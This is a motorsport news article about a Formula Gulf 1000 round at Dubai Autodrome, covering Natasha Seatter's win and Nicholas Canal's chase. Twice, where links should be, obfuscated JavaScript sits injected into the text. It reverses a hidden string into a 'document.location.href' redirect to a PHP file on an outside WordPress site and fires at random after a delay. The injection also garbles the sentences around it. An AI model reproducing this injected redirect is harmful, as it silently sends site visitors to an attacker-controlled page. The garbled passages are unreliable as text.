History has a habit of remembering only the results. On paper at least, the third round of the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/formula-gulf-1000-20122013-driver-line-up-announced/” target=”_blank”>2012/2013 Formula Gulf 1000 season at Dubai Autodrome saw Natasha Seatter once again walk home with the silverware from both races. History will doubtless forget the 0.472s deficit back to second-placed Nicholas Canal. But it’s unlikely those of us celebrating the Motorsport Festival last weekend will do so.
In the closing stages of race two for instance, Seatter had already shown the chasing pack a clean pair of heels, and was well on her way to victory number two with just four laps to run on the full-sized GP Circuit. Her qualifying speed had (once again) been mystifying, some 1.2s off pole position and down in third.
But with a rabbit to chase, the #3 entry had late-braked its way to the front, allowing the young Malaysian points leader to pull out a 20s winning margin come the chequered flag. A performance beyond dominant, and a stark warning shot to her rivals, given that she would start the second race from pole as a result.
But something was not quite right. The speed was there, as several purple laps and inch-perfect gear changes with the six-speed manual transmission demonstrated. But the gap back to second had stagnated at 3s, and by lap five it had dropped to 2.4s. The next time around it was 2.1s. Then 1.7s. Several oversteery moments out of the final turn 16 gave the game away: Seatter was right on the ragged edge. But there was nothing she could do. Canal was catching. Fast.
The young Spaniard had once again planted the #5 car on pole position, and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/formula-gulf-1000-round-2-three-final-thoughts/” target=”_blank”>after coming so close last time at Yas Marina, was clearly desperate to take that first series victory. And nerves got the best of him. Having already been beaten to turn one by the fast starting Seatter, Canal overcooked it on the brakes, the rear tyres dropping away at the apex and the #5 car plummeting to the tail of the field as a result. It was a good fightback, but the polesitter was soon out of laps, and had to settle for third behind Rahul Mayer.
